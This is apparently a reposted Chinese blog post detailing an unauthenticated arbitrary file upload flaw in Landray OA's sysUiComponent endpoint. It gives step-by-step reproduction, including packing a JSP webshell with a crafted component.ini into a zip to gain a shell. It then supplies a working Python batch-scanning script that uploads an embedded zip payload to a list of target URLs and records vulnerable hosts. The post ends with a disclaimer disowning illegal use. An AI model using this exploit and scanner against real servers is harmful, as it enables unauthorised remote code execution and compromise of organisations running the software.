当前位置:   article > 正文

蓝凌OA sysUiComponent 任意文件上传漏洞getshell(文末附批量检测poc)

蓝凌oa sysuicomponent 任意文件上传漏

蓝凌OA sysUiComponent 任意文件上传


漏洞概述
蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。

漏洞复现

  • 访问
http://ip:port/sys/ui/sys_ui_component/sysUiComponent.do?method=upload
  • 1
  • 返回如下内容

在这里插入图片描述

  • 创建1.txt以及component.ini文件,其中1.txt为要上传的内容,component.ini内的id等于文件路径,name等于要上传的文件名。
    在这里插入图片描述
  • 将两个文件进行压缩为1.zip。
    在这里插入图片描述
  • 选择压缩文件1.zip,点击上传。
    在这里插入图片描述
  • 上传成功会返回如下内容:

在这里插入图片描述
访问

http://ip:port/resource/ui-component/2024/1.txt
  • 1

在这里插入图片描述

靶场Getshell

shell文件1.jsp,与component.ini文件压缩在一块上传。
在这里插入图片描述
上传成功后访问
在这里插入图片描述

在这里插入图片描述

批量检测POC

下面展示一些 内联代码片

# -*- coding: utf-8 -*-
import requests
from urlparse import urlparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from concurrent import futures
import threading
threads=[]
class poc:
    def __init__(self, url):
        self.url = url
        self.headers = {
            'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
            "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
            "Accept-Encoding": "gzip, deflate",
        }

    def host(self):
        url = urlparse(self.url)
        netloc = url.netloc
        scheme = url.scheme
        return scheme, netloc

    def vuln(self, netloc, scheme):
        url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
        data = {
            "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
        }
        self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
        try:
            result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
            if result.status_code == 200 and "directoryPath" in result.text:
                print(url+u"漏洞存在")
                with open(r'2.txt', 'a+') as f:
                    f.write(url + '\n')
                    f.close()
                print(u"验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
                return True
            else:
                print(url+u"漏洞不存在!")
                return False
        except Exception as e:
            print(url+u"漏洞不存在!")
            return False

    def main(self):
        all = self.host()
        scheme = all[0]
        netloc = all[1]
        self.vuln(netloc, scheme)


if __name__ == '__main__':
    with open('1.txt', 'r') as file:
        for line in file:
            url = line.strip()
            poc(url).main()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58

运行结果截图:
在这里插入图片描述
此人仅做知识分享,非法使用与我本人无关。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/90758
推荐阅读
相关标签
  

闽ICP备14008679号